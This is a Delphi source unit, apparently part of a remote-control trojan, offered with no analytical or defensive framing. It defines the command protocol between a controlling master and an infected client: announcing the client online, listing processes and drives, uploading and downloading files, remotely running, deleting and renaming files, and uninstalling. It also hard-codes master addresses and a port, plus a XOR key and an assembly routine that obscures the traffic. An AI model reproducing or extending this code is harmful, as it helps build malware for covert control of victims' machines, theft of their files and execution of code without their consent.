unit SocketUnit;

interface

uses
  Windows;

const
  szKeyBuffer: Array[0..$F] Of Char =(
    #$A3, #$78, #$26, #$35, #$57, #$32, #$2D, #$60, #$B4, #$3C, #$2A, #$5E, #$33, #$34, #$72, #$00
  );

Type
  LPSocketHeader = ^TSocketHeader;
  TSocketHeader = packed Record
    dwSocketLen: DWORD;
    bSocketCmd: Byte;
  end;

const
  CStr_MasterPort     = 2000;
  CStr_MasterAddress1  = '127.0.0.1';
  CStr_MasterAddress2  = 'localhost';
  CStr_MasterAddress3  = '192.168.1.2';

const
  cOsUnknown= 0;
  cOsWin95  = 1;
  cOsWin98  = 2;
  cOsWinME  = 3;
  cOsWinNT3 = 4;
  cOsWinNT4 = 5;
  cOsWin2K  = 6;
  cOsWinXP  = 7;

const
  CDelimiter              = $07;            //  數據分隔符
  CTheEnd                 = $00;            //  結束符

//  Server常用指令
  CSocket_PING            = $97;            //  Ping指令
  CSocket_Uninstall       = $C1;            //  卸載

  CSocket_ListProcess     = $BE;            //  獲取進程列表
  CSocket_GetBaseInfo     = $C0;            //  獲取基本配置信息

  CSocket_ListDrive       = $82;            //  獲取驅動器d列表
  CSocket_ListFile        = $83;            //  刷新目錄文件

  CSocket_FileUploadStart = $84;            //  文件上傳開始(指令后|DWORD-文件長度|文件路徑|)
  CSocket_FileUploading   = $85;            //  文件上傳中(每次上傳4090字節)
  
  CSocket_FileDownStart   = $86;            //  文件下載開始
  CSocket_FileSendStop    = $87;            //  終止文件傳輸

  CSocket_FileRun         = $88;            //  文件運行(WinExec-指令后跟隨文件路徑)
  CSocket_CreateDirectory = $89;            //  創建目錄(CreateDirectory-指令后跟隨目錄路徑)
  CSocket_FileDelete      = $8A;            //  文件刪除(指令后是需要刪除的文件目錄)
  CSocket_DeleteDirectory = $8B;            //  刪除目錄
  
  CSockek_FileOpen        = $8E;            //  文件遠程打開(ShellExecute-指令后跟隨文件路徑-無返回值)
  CSocket_FileRename      = $8F;            //  文件改名



//  Client常用指令
const
  CSocket_Online          = $32;            //  上線指令(發送基本數據指令)
  CSocket_PONG            = $33;            //  回應Ping指令

  CSocket_SendProcess     = $5A;            //  發送進程列表
  CSocket_SendBaseInfo    = $5C;            //  發送Client基本信息
  CSocket_SendListDrive   = $1E;            //  發送驅動器列表
  CSocket_SendDriveError  = $45;            //  發送驅動器獲取錯誤信息
  
  CSocket_SendListFile    = $1F;            //  發送文件和目錄列表
  CSocket_SendListFileEnd = $20;            //  文件列表發送完畢

  CSocket_FileRunOk       = $24;            //  文件WinExec成功(指令后跟隨運行的文件名)
  CSocket_FileRunFailed   = $3E;            //  文件WinExec失敗(指令后跟隨運行的文件名)


  CSocket_FileDeleteOk    = $26;            //  文件刪除成功(指令后跟隨刪除的文件名)
  CSocket_FileDeleteFailed= $40;            //  文件刪除失敗(指令后跟隨刪除的文件名)

  CSocket_DirectoryCreateOk = $25;          //  目錄創建成功(指令后跟隨創建的目錄名)
  CSocket_DirectoryCreateFailed = $3F;      //  目錄創建失敗(指令后跟隨創建的目錄名)

  CSocket_FileRenameOK      = $2B;          //  文件改名成功(指令后跟原始文件名)
  CSocket_FileRenameFailed  = $49;          //  文件改名失敗(指令后跟原始文件名)

  CSocket_SendFileDownStart = $21;          //  發送下載文件開始指令(后面跟隨的是文件長度)
  CSocket_SendFileDowning   = $22;          //  文件下載ing...(每次讀取4091字節)
  CSocket_SendReadFileError = $3C;          //  發送讀取文件失敗指令

  CSocket_SendUpLoadFailed  = $3D;          //  發送寫入文件失敗指令
  CSocket_SendUpLoadStart   = $46;          //  發送上傳開始指令
  CSocket_SendUpLoadTheEnd  = $23;          //  發送上傳結束指令




  

//  封包加密解密函數
procedure EnDeCode(lpBuffer: Pointer; iBuffLen: Integer; lpKey: Pointer; iKeyLen: Integer); cdecl;

implementation

procedure EnDeCode(lpBuffer: Pointer; iBuffLen: Integer; lpKey: Pointer; iKeyLen: Integer); cdecl;
asm
  push    esi
  xor     esi, esi
  cmp     [iBuffLen], esi
  jle     @@L017

@@L006:
  mov     eax, dword ptr [lpBuffer]
  xor     edx, edx
  lea     ecx, dword ptr [esi+eax]
  mov     eax, esi
  div     dword ptr [iKeyLen]
  mov     eax, dword ptr [lpKey]
  mov     al, byte ptr [edx+eax]
  xor     byte ptr [ecx], al
  inc     esi
  cmp     esi, dword ptr [iBuffLen]
  jl      @@L006

@@L017:
  pop     esi
end;

end.